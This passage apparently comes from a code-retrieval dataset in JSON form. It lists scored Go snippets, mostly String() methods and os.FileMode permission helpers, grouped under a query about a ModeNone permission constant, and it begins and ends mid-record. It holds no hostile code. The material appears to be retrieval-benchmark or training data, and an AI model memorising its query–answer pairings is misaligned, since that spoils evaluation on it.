"e738071a72a05d21ec5c7f8c4a16313a", "score": "0.6913111", "text": "func (b *BinaryFormat) String() string {\n\treturn string(*b)\n}", "title": "" }, { "docid": "e2ac7d9d92bc54915b25ee0305f6cfbe", "score": "0.69130194", "text": "func (s PublishLayerVersionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e2ac7d9d92bc54915b25ee0305f6cfbe", "score": "0.69130194", "text": "func (s PublishLayerVersionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "ee1c82439f428593804e7d41e67a88bb", "score": "0.6911058", "text": "func (s DeleteAlgorithmOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "a3c064fb3b6b75132d448029d897bbaf", "score": "0.69058084", "text": "func (r Backend) String() string {\n\treturn fmt.Sprintf(\"path: %s, type: %s\", r.Path, r.Type)\n}", "title": "" }, { "docid": "52813ac5ae2108fcca313f381f978567", "score": "0.6904322", "text": "func (c ClassMemberships) String() string {\n\tjc, _ := json.Marshal(c)\n\treturn string(jc)\n}", "title": "" }, { "docid": "1c9949fa0b52e39bee22f09947570358", "score": "0.6903197", "text": "func (s *stack) String() string {\n\treturn fmt.Sprintf(\"%v\", s.a)\n}", "title": "" }, { "docid": "4885cf08e9c364b48c7f2d49c8df9678", "score": "0.6898203", "text": "func (x *Rat) String() string", "title": "" }, { "docid": "cd201c7df0c686bf45793679f1c0379c", "score": "0.6895976", "text": "func (p *Person) String() string {\n\treturn fmt.Sprintf(\"id:%d age:%d sex:%c\", p.ID(), p.Age(), p.Sex())\n}", "title": "" }, { "docid": "c1e61dcc3f2c005835b59fad0a71e8da", "score": "0.6894107", "text": "func (s CreateResolverRuleOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "923ae1ffbd0a1132f28ed2315a249287", "score": "0.6893277", "text": "func (t *ToBase64) String() string {\n\treturn fmt.Sprintf(\"%s(%s)\", t.FunctionName(), t.Child)\n}", "title": "" }, { "docid": "3cc64037e831dc747b21f738c72394ea", "score": "0.6892793", "text": "func (a Articles) String() string {\n\tja, _ := json.Marshal(a)\n\treturn string(ja)\n}", "title": "" }, { "docid": "03a4267d679e666456e77c59c2ee2e95", "score": "0.6889573", "text": "func (s NetworkPathComponentDetails) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "3aad9005760fdaf03c048b7b9e45b6f4", "score": "0.68866765", "text": "func (s CreateFlowOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "f331030a5b0680ab70b1dceaaf772854", "score": "0.68864965", "text": "func (s RNA) String() string {\n\treturn string(s)\n}", "title": "" }, { "docid": "343aacf8e9d1cc4e1f5ac20e26b14746", "score": "0.6882691", "text": "func (s DeleteTrailOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "7bd0ba85d597faf35a61a5813c2f4458", "score": "0.68822736", "text": "func (d *Details) String() string {\n\ts, err := json.Marshal(d)\n\tif err != nil {\n\t\treturn \"error found.\"\n\t}\n\treturn string(s)\n}", "title": "" }, { "docid": "82a2c53617cc65d4b34d71970dcee911", "score": "0.68765706", "text": "func (f Feedback) String() string {\n\tjf, _ := json.Marshal(f)\n\treturn string(jf)\n}", "title": "" }, { "docid": "05bdc6f426e4f8fabea1d52bb2df508f", "score": "0.68743235", "text": "func (s GetRecordOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "2a7b0653f02558bf377ae5244405dfea", "score": "0.6872822", "text": "func (s RunAssessmentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "3035d06dfe8d01239abdaa36bc88b188", "score": "0.68684965", "text": "func (s CreateBotOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "d0215beb45b524075b7ad2982760b5b4", "score": "0.68677104", "text": "func (s CreateProjectOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "d0215beb45b524075b7ad2982760b5b4", "score": "0.68677104", "text": "func (s CreateProjectOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "d0215beb45b524075b7ad2982760b5b4", "score": "0.68677104", "text": "func (s CreateProjectOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "d0215beb45b524075b7ad2982760b5b4", "score": "0.68677104", "text": "func (s CreateProjectOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "18625dbe58141956ecac9ce806bf1757", "score": "0.6867259", "text": "func String() string {\r\n\tinput := getString()\r\n\treturn input\r\n}", "title": "" }, { "docid": "6bd53f307d46f82cb70fa2bd0bf2edaf", "score": "0.68668526", "text": "func (s SendVoiceMessageOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "b4820dd99e098f570cd36b8f3acf246e", "score": "0.6866392", "text": "func (s ConformancePackDetail) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "3c9370e0af3107eeca3650b7fdb7e995", "score": "0.6863733", "text": "func String() string {\n\tver := Get()\n\treturn StringFromInfo(ver)\n}", "title": "" }, { "docid": "7a1e0b154efc78b76df149d7aac1d3bb", "score": "0.68627125", "text": "func (s CreateDetectorModelOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "50fb4d1a34c4cb9fc78432fda446e6f6", "score": "0.68622065", "text": "func (i ID) String() string {\n\treturn encoding.EncodeToString(i.b)\n}", "title": "" }, { "docid": "339b4b6dc2688019e2d2260d64cae2ad", "score": "0.6861979", "text": "func (s EnableRadiusOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "d1952d75279d1eb8bb9ed10bdb16de40", "score": "0.68594325", "text": "func (s ResetResourceLogLevelOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "1de0a0050abd651a5177b6fb5eb076a7", "score": "0.68585664", "text": "func (t Tests) String() string {\n\tjt, _ := json.Marshal(t)\n\treturn string(jt)\n}", "title": "" }, { "docid": "0d25840bac7dcf9f42e8056a5226e603", "score": "0.6857295", "text": "func (e Exploration) String() string {\n\tje, _ := json.Marshal(e)\n\treturn string(je)\n}", "title": "" }, { "docid": "a5f875ca3b517a87fe914456f86d2264", "score": "0.6856631", "text": "func (o *Outcome) String() string {\n \n \n \n \n \n \n \n \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "7f838d63ebbdcee1149656dd4d04824c", "score": "0.68560296", "text": "func (self *Node) String() (string, error) {\n if err := self.checkRaw(); err != nil {\n return \"\", err\n }\n switch self.t {\n case _V_NUMBER : return toNumber(self).String(), nil\n case types.V_NULL : return \"null\" , nil\n case types.V_TRUE : return \"true\" , nil\n case types.V_FALSE : return \"false\", nil\n case types.V_STRING : return addr2str(self.p, self.v), nil\n default : return \"\" , ErrUnsupportType\n }\n}", "title": "" }, { "docid": "db37e8c6e9597d37d0f6ad6cb88281d4", "score": "0.6853771", "text": "func (s NiftyCreateAlarmOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "ef0c28a72957161788af43997558123e", "score": "0.68532306", "text": "func (o *Trusteebillingoverview) String() string {\n\tj, _ := json.Marshal(o)\n\tstr, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n\treturn str\n}", "title": "" }, { "docid": "3f1a632e93310c4f56222960d6eedb1c", "score": "0.6851581", "text": "func (s CreatePatchBaselineOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "5dc089462e482236fbb04cff87906e3a", "score": "0.68498755", "text": "func (o *Edgemetricssubsystem) String() string {\n \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "6f97479d956fbf7445e1aabe90358ece", "score": "0.68481404", "text": "func (t *Trace) String() string {\n\treturn fmt.Sprintf(\"Keys: %#v, Options: %#v, Digests: %q\", t.keys, t.options, t.Digests)\n}", "title": "" }, { "docid": "1772f826323e9406147bb68644da384a", "score": "0.6846798", "text": "func (o *Faxsendrequest) String() string {\n \n o.Addresses = []string{\"\"} \n \n \n \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "cf256ea3577277acd7debf4a573e376f", "score": "0.68453395", "text": "func (t *FromBase64) String() string {\n\treturn fmt.Sprintf(\"%s(%s)\", t.FunctionName(), t.Child)\n}", "title": "" }, { "docid": "36d3d72bb4f64e98624592666b35d512", "score": "0.6844965", "text": "func (s UpdateRelationalDatabaseOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "0e2531d1217c5e58b94a035ab312937f", "score": "0.6844765", "text": "func (m *multiprotocol) String() string {\n\ts, err := bytesToString(m.bytes)\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"multiprotocol failed to convert back to string. corrupted? %s\", err))\n\t}\n\treturn s\n}", "title": "" }, { "docid": "2dce016c3492718d27fc3f5767f356a0", "score": "0.6843859", "text": "func (s LifeCycleLastTestInitiated) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "838c508d9a31ba4b7bb753312db1c300", "score": "0.68427885", "text": "func (s CreateFindingAggregatorOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "ade613480a4d21e19bbe2808b702aeda", "score": "0.68419415", "text": "func (s HumanLoopActivationOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "37cf0f1f58fcd6e8d2c60985d6599a77", "score": "0.68416274", "text": "func (s LifeCycleLastTestReverted) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "d52ed1985ba49c77b04fd6e879cb71c7", "score": "0.68414885", "text": "func (s CreateVoiceConnectorOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "af7e83b226664a10979cb02f117182c4", "score": "0.684033", "text": "func (s CreateDocumentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "af7e83b226664a10979cb02f117182c4", "score": "0.684033", "text": "func (s CreateDocumentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "d9cd354e06a05d90ae642c539e1e4382", "score": "0.6835914", "text": "func (s PayloadOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "91003fa6638e2c97dbe9fcc3c9cac8ce", "score": "0.6832916", "text": "func (o *Patchwebmessagingofferfields) String() string {\n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "d3577e98f1cb557f9b5c6bf9519c9a29", "score": "0.68326443", "text": "func (s CreateAutomationRuleOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "ccdd9176cdbb40bac0c48b046d21b3c2", "score": "0.68316406", "text": "func (s CreateAssessmentTemplateOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "d12bad6abea20a3c94ed5aceb777edc6", "score": "0.6830739", "text": "func (s StartResourceEvaluationOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "a2f662a18633b1aa0051cae052d35e3f", "score": "0.68295026", "text": "func (s TestIdentityProviderOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "75941dac2946d552c995f667194f1000", "score": "0.6829349", "text": "func (s RedactConversationMessageOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "f80c16ca6394def1ae3befcf5c5214f9", "score": "0.682701", "text": "func (f Feedbacks) String() string {\n\tjf, _ := json.Marshal(f)\n\treturn string(jf)\n}", "title": "" }, { "docid": "daeda53d3394136b0b0686a9671382ae", "score": "0.68261486", "text": "func String(s string) string {\n\treturn fmt.Sprintf(\"%o\", ValueOf(s))\n}", "title": "" }, { "docid": "fb049264ec2bbd41a7a18add20efd1ec", "score": "0.68237686", "text": "func (s *sequence) String() string {\n\treturn fmt.Sprintf(\"sequence:{leader:%d,seq:%d}\", s.leader, s.seq)\n}", "title": "" }, { "docid": "0d6281dc4dbab50863ba732f6ea402c6", "score": "0.68234265", "text": "func (info *Info) String() string {\n\tdata, err := info.ToJSON()\n\n\tif err != nil {\n\t\treturn err.Error()\n\t}\n\n\treturn string(data[:])\n}", "title": "" }, { "docid": "b93d539563744c04dd85937ea7443fd0", "score": "0.6821734", "text": "func (slf *Connect) String() string {\n\tb, _ := json.Marshal(slf)\n\treturn string(b)\n}", "title": "" }, { "docid": "25c9cf068e0491fa615062323f2942b1", "score": "0.68204916", "text": "func (s SignedObject) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" } ]
177e8cacb333b1ba834d858025f73ff7
ModeNone "" No Permission Set The is no os constant for 'None'. However since the zero value is used extensively to identity a 'file' within the context of permission descriptions, it is added here. 'ModeNone' therefore represents both a zero value and the 'file' designation.
[ { "docid": "4be0960a73d6216a782b542378aa387d", "score": "0.8618861", "text": "func (osPerm OsFilePermissionCode) ModeNone() os.FileMode { return os.FileMode(0) }", "title": "" } ]
[ { "docid": "926c44f724711486207b043be929ecd1", "score": "0.70540184", "text": "func (*File) Mode() os.FileMode { return 0 }", "title": "" }, { "docid": "659eb4b6891682b20cd33c7d9afcec6b", "score": "0.70289177", "text": "func (no noAttrFileInfo) Mode() fs.FileMode {\n\treturn no.FileInfo.Mode() & (fs.ModeType | fs.ModePerm)\n}", "title": "" }, { "docid": "0e03ece4cf424233f0b8d0a9dc001596", "score": "0.695882", "text": "func (osPerm OsFilePermissionCode) ModeDevice() os.FileMode { return os.ModeDevice }", "title": "" }, { "docid": "5fe71e2a5ae6d59762035c8d64a4d34b", "score": "0.67807055", "text": "func (m DodInfo) Mode() os.FileMode {\n\treturn 0777\n}", "title": "" }, { "docid": "f867253435d78faf8f11b1d9b5c8ef60", "score": "0.6701172", "text": "func (osPerm OsFilePermissionCode) ModeExclusive() os.FileMode { return os.ModeExclusive }", "title": "" }, { "docid": "5656c9dd672a26d33b1be2f79c6bffc8", "score": "0.6699943", "text": "func (osPerm OsFilePermissionCode) ModeCharDevice() os.FileMode { return os.ModeCharDevice }", "title": "" }, { "docid": "a1661c7325d5b00741520b681468e66a", "score": "0.6604185", "text": "func (fi headerFileInfo) Mode() (mode os.FileMode) {\n\t// Set file permission bits.\n\tmode = os.FileMode(fi.h.Mode).Perm()\n\n\t// Set setuid, setgid and sticky bits.\n\tif fi.h.Mode&c_ISUID != 0 {\n\t\t// setuid\n\t\tmode |= os.ModeSetuid\n\t}\n\tif fi.h.Mode&c_ISGID != 0 {\n\t\t// setgid\n\t\tmode |= os.ModeSetgid\n\t}\n\tif fi.h.Mode&c_ISVTX != 0 {\n\t\t// sticky\n\t\tmode |= os.ModeSticky\n\t}\n\n\t// Set file mode bits.\n\t// clear perm, setuid, setgid and sticky bits.\n\tm := os.FileMode(fi.h.Mode) &^ 07777\n\tif m == c_ISDIR {\n\t\t// directory\n\t\tmode |= os.ModeDir\n\t}\n\tif m == c_ISFIFO {\n\t\t// named pipe (FIFO)\n\t\tmode |= os.ModeNamedPipe\n\t}\n\tif m == c_ISLNK {\n\t\t// symbolic link\n\t\tmode |= os.ModeSymlink\n\t}\n\tif m == c_ISBLK {\n\t\t// device file\n\t\tmode |= os.ModeDevice\n\t}\n\tif m == c_ISCHR {\n\t\t// Unix character device\n\t\tmode |= os.ModeDevice\n\t\tmode |= os.ModeCharDevice\n\t}\n\tif m == c_ISSOCK {\n\t\t// Unix domain socket\n\t\tmode |= os.ModeSocket\n\t}\n\n\tswitch fi.h.Typeflag {\n\tcase TypeSymlink:\n\t\t// symbolic link\n\t\tmode |= os.ModeSymlink\n\tcase TypeChar:\n\t\t// character device node\n\t\tmode |= os.ModeDevice\n\t\tmode |= os.ModeCharDevice\n\tcase TypeBlock:\n\t\t// block device node\n\t\tmode |= os.ModeDevice\n\tcase TypeDir:\n\t\t// directory\n\t\tmode |= os.ModeDir\n\tcase TypeFifo:\n\t\t// fifo node\n\t\tmode |= os.ModeNamedPipe\n\t}\n\n\treturn mode\n}", "title": "" }, { "docid": "85696a0b368b4df86cdb5c58fd62d489", "score": "0.6594382", "text": "func (osPerm OsFilePermissionCode) ModeSetuid() os.FileMode { return os.ModeSetuid }", "title": "" }, { "docid": "8a3198aae0dc09405b4f65407efefc2e", "score": "0.6573865", "text": "func (ddesc *DataDescriptor) Mode() os.FileMode {\n\treturn 0700\n}", "title": "" }, { "docid": "1a912414e8df5eea227f00308e3d4d3e", "score": "0.65129405", "text": "func (fi headerFileInfo) Mode() (mode os.FileMode) {\n\t// Set file permission bits.\n\tmode = os.FileMode(fi.h.Mode).Perm()\n\treturn mode\n}", "title": "" }, { "docid": "cada679b1ec633b81edf61277d7f8ae1", "score": "0.64787924", "text": "func (osPerm OsFilePermissionCode) ModeIrregular() os.FileMode { return os.ModeIrregular }", "title": "" }, { "docid": "3257fd7e3dab5f54dcb234afbd41a2f6", "score": "0.64187956", "text": "func (i FileInfo) Mode() FileMode {\n\tm := i.FileInfo.Mode()\n\tif m&os.ModeType == 0 {\n\t\treturn ModeRegular\n\t}\n\n\treturn FileMode(m)\n}", "title": "" }, { "docid": "8cf544aa541021ad0923f536673a801c", "score": "0.6387078", "text": "func (fi *FileInfo) Mode() fs.FileMode {\n\tmodeMeta := fi.info.UserMetadata[\"Mode\"]\n\tmode, err := strconv.ParseUint(modeMeta, 8, 32)\n\tif err != nil {\n\t\treturn 0\n\t}\n\treturn fs.FileMode(mode)\n}", "title": "" }, { "docid": "06e9c87deb60fe2fd5be67588257e4d3", "score": "0.6346399", "text": "func (m Metadata) FileMode() os.FileMode {\n\t// Set file permission bits. They're pretty universal.\n\tmode := os.FileMode(m.Mode).Perm()\n\t// Map suid, guid, and sticky -- they differ between go os and tar format.\n\t// Arbitrary constants from tar \"spec\" -- same as in archive/tar; they're unexported.\n\tif m.Mode&04000 != 0 {\n\t\tmode |= os.ModeSetuid\n\t}\n\tif m.Mode&02000 != 0 {\n\t\tmode |= os.ModeSetgid\n\t}\n\tif m.Mode&01000 != 0 {\n\t\tmode |= os.ModeSticky\n\t}\n\treturn mode\n}", "title": "" }, { "docid": "4092df0e925c06a92b6864428669cde9", "score": "0.6332723", "text": "func (m *MemFile) Mode() os.FileMode {\n\treturn os.FileMode(0)\n}", "title": "" }, { "docid": "e726975e988eb6cef76fe98800c668b4", "score": "0.6312011", "text": "func (t QIDType) FileMode() FileMode {\n\treturn FileMode(t) << 24\n}", "title": "" }, { "docid": "a1664dd628f62fb087e9426a41322f72", "score": "0.6275747", "text": "func (osPerm OsFilePermissionCode) Value() os.FileMode {\n\n return os.FileMode(osPerm)\n}", "title": "" }, { "docid": "05864be201827322a4d25656de6985d1", "score": "0.62734705", "text": "func (f FileInfo) Mode() fs.FileMode {\n\tmode := fs.FileMode(f.i.Permissions)\n\tswitch f.i.Type {\n\tcase inode.DirType | inode.ExtDirType:\n\t\treturn mode | fs.ModeDir\n\tcase inode.ExtDirType:\n\t\treturn mode | fs.ModeDir\n\tcase inode.SymType:\n\t\treturn mode | fs.ModeSymlink\n\tcase inode.ExtSymType:\n\t\treturn mode | fs.ModeSymlink\n\t}\n\treturn mode\n}", "title": "" }, { "docid": "cd227b4840e9841ececae656644be4e6", "score": "0.62141544", "text": "func (f *file) Mode() os.FileMode {\n\tvar m os.FileMode\n\tif f.IsDir() {\n\t\tm |= os.ModeDir\n\t}\n\treturn m\n}", "title": "" }, { "docid": "778394752afd64c37643f376e746c3ad", "score": "0.61882526", "text": "func (fs *fileStat) Mode() os.FileMode { return fs.mode }", "title": "" }, { "docid": "44ca61918cf7de77aaf5a06da3fb01f2", "score": "0.6167379", "text": "func (m FileMode) String() string {\n\tvar buf [10]byte\n\n\tswitch m.Type() {\n\tcase ModeRegular:\n\t\tbuf[0] = '-'\n\tcase ModeDir:\n\t\tbuf[0] = 'd'\n\tcase ModeSymlink:\n\t\tbuf[0] = 'l'\n\tcase ModeDevice:\n\t\tbuf[0] = 'b'\n\tcase ModeCharDevice:\n\t\tbuf[0] = 'c'\n\tcase ModeNamedPipe:\n\t\tbuf[0] = 'p'\n\tcase ModeSocket:\n\t\tbuf[0] = 's'\n\tdefault:\n\t\tbuf[0] = '?'\n\t}\n\n\tconst rwx = \"rwxrwxrwx\"\n\tfor i, c := range rwx {\n\t\tif m&(1<<uint(9-1-i)) != 0 {\n\t\t\tbuf[i+1] = byte(c)\n\t\t} else {\n\t\t\tbuf[i+1] = '-'\n\t\t}\n\t}\n\n\tif m&ModeSetUID != 0 {\n\t\tif buf[3] == 'x' {\n\t\t\tbuf[3] = 's'\n\t\t} else {\n\t\t\tbuf[3] = 'S'\n\t\t}\n\t}\n\n\tif m&ModeSetGID != 0 {\n\t\tif buf[6] == 'x' {\n\t\t\tbuf[6] = 's'\n\t\t} else {\n\t\t\tbuf[6] = 'S'\n\t\t}\n\t}\n\n\tif m&ModeSticky != 0 {\n\t\tif buf[9] == 'x' {\n\t\t\tbuf[9] = 't'\n\t\t} else {\n\t\t\tbuf[9] = 'T'\n\t\t}\n\t}\n\n\treturn string(buf[:])\n}", "title": "" }, { "docid": "9897a553fe620c4fe0cd14ec26cbf2d2", "score": "0.6166065", "text": "func (f File) Mode() os.FileMode {\n\t// Sync root\n\tf.srv.File.Sync()\n\n\t// TODO - derive from azure storage and XOR sane defaults?\n\tif f.IsDir() {\n\t\t// We are a directory\n\t\treturn os.ModeDir | 0777\n\t}\n\n\t// We are a regular file\n\treturn 0777\n}", "title": "" }, { "docid": "f94313f2b76de8e1ffd1461e3654c9a6", "score": "0.61604196", "text": "func (fi DumFileInfo) Mode() os.FileMode {\n\treturn fi.IMode\n}", "title": "" }, { "docid": "d0a7b83279a917ae19cd3392684bff3c", "score": "0.6140008", "text": "func (osPerm OsFilePermissionCode) ModeSticky() os.FileMode { return os.ModeSticky }", "title": "" }, { "docid": "f489fb1d533a969dd65f4e7cb815072f", "score": "0.612253", "text": "func (osPerm OsFilePermissionCode) ModeSetgid() os.FileMode { return os.ModeSetgid }", "title": "" }, { "docid": "dcd6fbba44914bd5e98448cbad714ed6", "score": "0.6095763", "text": "func (f *fileInfo) Mode() os.FileMode {\n\treturn f.mode\n}", "title": "" }, { "docid": "ddaf82c2b07478038c9969c9335e0422", "score": "0.60885876", "text": "func (osPerm OsFilePermissionCode) ModeTemporary() os.FileMode { return os.ModeTemporary }", "title": "" }, { "docid": "7180f502f4eba414c5f576c0993030d3", "score": "0.60635734", "text": "func (info *FileInfo) Mode() os.FileMode {\n\treturn info.mode\n}", "title": "" }, { "docid": "1dba57e816ebe37e856a15b258564417", "score": "0.60623163", "text": "func (osPerm OsFilePermissionCode) ModeDir() os.FileMode { return os.ModeDir }", "title": "" }, { "docid": "a7098dc5905b585f138f637bfbaa90ef", "score": "0.6042147", "text": "func (osPerm OsFilePermissionCode) ModeAppend() os.FileMode { return os.ModeAppend }", "title": "" }, { "docid": "ac385a67eeebd4bf796e13693961a66a", "score": "0.604059", "text": "func (m FileMode) Perm() FileMode {\n\treturn m & 0777\n}", "title": "" }, { "docid": "7f03f7330c151c1442ee7b83471ea3a2", "score": "0.60247916", "text": "func (f *FileInfo) Mode() os.FileMode {\n\treturn f.mode\n}", "title": "" }, { "docid": "08e41da367a53b911fac368b36de6c31", "score": "0.60241026", "text": "func (f FileStat) Perm() os.FileMode { return f.File.Perm }", "title": "" }, { "docid": "f1653cc3d62ad191c7eee08cc6a42d91", "score": "0.60238373", "text": "func Mode(file string) os.FileMode { return Stat(file).Mode() }", "title": "" }, { "docid": "fbdb8e07458773f35aca60fe9569843e", "score": "0.6015776", "text": "func syscallMode(i os.FileMode) (o uint32) {\n\to |= uint32(i.Perm())\n\tif i&os.ModeSetuid != 0 {\n\t\to |= syscall.S_ISUID\n\t}\n\tif i&os.ModeSetgid != 0 {\n\t\to |= syscall.S_ISGID\n\t}\n\tif i&os.ModeSticky != 0 {\n\t\to |= syscall.S_ISVTX\n\t}\n\t// No mapping for Go's ModeTemporary (plan9 only).\n\treturn\n}", "title": "" }, { "docid": "113a05c2c2680914b8b982cb8310619a", "score": "0.60153437", "text": "func (sf *SiaFile) Mode() os.FileMode {\n\tsf.mu.RLock()\n\tdefer sf.mu.RUnlock()\n\treturn sf.staticMetadata.Mode\n}", "title": "" }, { "docid": "b6a8a25581181e299cdc9e788e35e41f", "score": "0.60061365", "text": "func (to *FileInfo) Mode() os.FileMode {\n\tif to.IsDir() {\n\t\treturn os.FileMode(0777)\n\t}\n\treturn os.FileMode(0666)\n}", "title": "" }, { "docid": "dff0983ccffdf11381fcd610718b48db", "score": "0.5994699", "text": "func (e ExtractedFile) Mode() fs.FileMode {\n\tif isExec(e.Name, e.mode) {\n\t\treturn e.mode | 0111\n\t}\n\treturn e.mode\n}", "title": "" }, { "docid": "602989fbff136a26ccdf7dbcd47deed5", "score": "0.5987028", "text": "func (osPerm OsFilePermissionCode) ModeSymlink() os.FileMode { return os.ModeSymlink }", "title": "" }, { "docid": "ce9b0831fba1caa58b808be15ff6f188", "score": "0.5970842", "text": "func (i *Item) Mode() fs.FileMode {\n\tvar mode fs.FileMode\n\tif i.directoryEntry.FileAttributes&0x10 != 0 {\n\t\tmode |= fs.ModeDir\n\t}\n\treturn mode\n}", "title": "" }, { "docid": "2b2ec4c74ddba35c170c913419d7f50f", "score": "0.59627634", "text": "func (s StatT) Mode() os.FileMode {\n\treturn s.mode\n}", "title": "" }, { "docid": "31acc95cb38ef51796813a3d412e285f", "score": "0.5961223", "text": "func (c *Content) Mode() os.FileMode {\n\treturn c.FileInfo.Mode\n}", "title": "" }, { "docid": "6dc4dd632d76b0da300613998d351a6f", "score": "0.5960532", "text": "func (osPerm OsFilePermissionCode) ModeNamedPipe() os.FileMode { return os.ModeNamedPipe }", "title": "" }, { "docid": "2f761b5b6e71ea79505d12876be4c271", "score": "0.59414226", "text": "func (rfi *FileInfo) Mode() os.FileMode {\n\treturn rfi.FiMode\n}", "title": "" }, { "docid": "63557a763ecd45dd2885512682efa3e2", "score": "0.5881945", "text": "func (d *DirMeta) Mode() os.FileMode {\n\treturn d.Tree.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode {\n\treturn fi.mode\n}", "title": "" }, { "docid": "6c7105b5139db8a940eb01d14c808221", "score": "0.58795726", "text": "func (fi bindataFileInfo) Mode() os.FileMode 